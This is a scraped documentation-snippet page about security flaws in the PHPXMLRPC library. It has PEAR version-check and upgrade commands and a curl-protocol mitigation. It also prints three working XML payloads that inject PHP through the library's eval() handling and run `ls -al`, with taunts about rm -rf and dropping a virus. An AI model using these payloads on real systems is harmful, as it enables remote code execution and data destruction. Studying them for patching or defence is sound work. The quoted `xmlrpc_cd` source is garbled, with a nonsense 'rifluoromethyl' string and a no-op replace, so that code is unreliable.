PHPXMLRPC

https://gggeek.github.io/phpxmlrpc
Admin
PHPXMLRPC is a comprehensive PHP library that implements the XML-RPC protocol, providing robust...
Tokens:8,351
Snippets:149
Trust Score:9.7
Update:4 months ago
Show doc for...
Tokens:
Raw
### Check PHP XML-RPC Library Version via PEAR

Source: https://gggeek.github.io/phpxmlrpc/security.html

This command lists installed PEAR packages and allows you to verify the version of the XML_RPC library. Look for version 1.3.1 or later.

```bash
pear list | grep RPC
```

--------------------------------

### Upgrade PHP XML-RPC Library via PEAR

Source: https://gggeek.github.io/phpxmlrpc/security.html

Use this command to upgrade the XML_RPC package to the latest version. Ensure you are running version 1.3.1 or later for adequate security.

```bash
pear upgrade XML_RPC
```

--------------------------------

### Exploiting Client: Execute System Commands (ls -al)

Source: https://gggeek.github.io/phpxmlrpc/security.html

This XML payload demonstrates executing system commands via the PHP XML-RPC client. By injecting a sequence that includes `ls -al`, an attacker can view the server's directory contents.

```xml
<?xml version="1.0"?>
<methodResponse>
<params>
<param>
<value><foo>", "string");

echo "<h1><font color=red>if you see a directory listing, I just executed php and system code via xml-rpc.</font></h1>";
echo "now I will attempt a directory listing using ls -al:\n<xmp>"; echo `ls -al`; echo "</xmp>";
echo "I could just have easily invoked rm -rf, or written a program to disk and executed it (eg, a virus)
 or read some files. Have a nice day.<br><br>";
exit;

$waste = array("</foo></value>
</param>
</params>
</methodResponse>
```

--------------------------------

### Exploiting Server: Execute System Commands (ls -al)

Source: https://gggeek.github.io/phpxmlrpc/security.html

This XML payload targets the server-side of the PHP XML-RPC library to execute arbitrary PHP and system commands. The syntax is adjusted to be compatible with the server's `eval()` context.

```xml
<?xml version='1.0' encoding="iso-8859-1" ?>
<methodCall>
<methodName>system.listMethods</methodName>
<params>
<param>
<value><test>", "string"));

echo "<h1><font color=red>if you see a directory listing, I just executed php and system code via xml-rpc.</font></h1>";
echo "now I will attempt a directory listing using ls -al:\n<xmp>"; echo `ls -al`; echo "</xmp>";

echo "I could just have easily invoked rm -rf, or written a program to disk and executed it (eg, a virus)
 or read some files. Have a nice day.<br><br>";
exit;

$waste = array(array("</test></value>
</param>
</params>
</methodCall>
```

--------------------------------

### Prevent Client File Access/URL Misuse

Source: https://gggeek.github.io/phpxmlrpc/security.html

To prevent the XML-RPC client from accessing local files or connecting to unintended URLs when untrusted data is used for the $method argument with curl transport, add this call. This is a proactive measure if upgrading is not immediately possible.

```php
$client->setCurlOptions([CURLOPT_PROTOCOLS, CURLPROTO_HTTPS|CURLPROTO_HTTP]);
```

--------------------------------

### Exploiting Client: Execute PHP Code

Source: https://gggeek.github.io/phpxmlrpc/security.html

This XML payload exploits a vulnerability in the PHP XML-RPC library's client-side handling to execute arbitrary PHP code. It bypasses standard escaping by using an unexpected tag structure, allowing injected code to be evaluated.

```xml
<?xml version="1.0"?>
<methodResponse>
<params><param>

<value><foo>", "string"); echo "<h1> hello world </h1>"; $waste = array("</foo></value>

</param></params>
</methodResponse>
```

--------------------------------

### PHP XML-RPC Library Vulnerable Function (xmlrpc_cd)

Source: https://gggeek.github.io/phpxmlrpc/security.html

This snippet shows the `xmlrpc_cd` function in `xmlrpc.inc`, which is responsible for handling character data during XML parsing. The vulnerability lies in how it processes and potentially escapes data before it's passed to `eval()`.

```php
function xmlrpc_cd($parser, $data) {
   global $_xh, $xmlrpc_backslash, $xmlrpc_twoslash;

//if (ereg("^[

 	]+$", $data)) return;
// print "adding [${data}]\n";
   if ($_xh[$parser]['lv']==1) {
      $_xh[$parser]['qt']=1;
      $_xh[$parser]['lv']=2;
   }
   if ($_xh[$parser]['qt']) { // quoted string
      $_xh[$parser]['ac'].=str_replace('	rifluoromethyl$', '\trifluoromethyl$',
                                       str_replace('"', '"', 
                                                   str_replace(chr(92),$xmlrpc_backslash, $data)));
   }
   else
      $_xh[$parser]['ac'].=$data;
}
```
Tokens:
Raw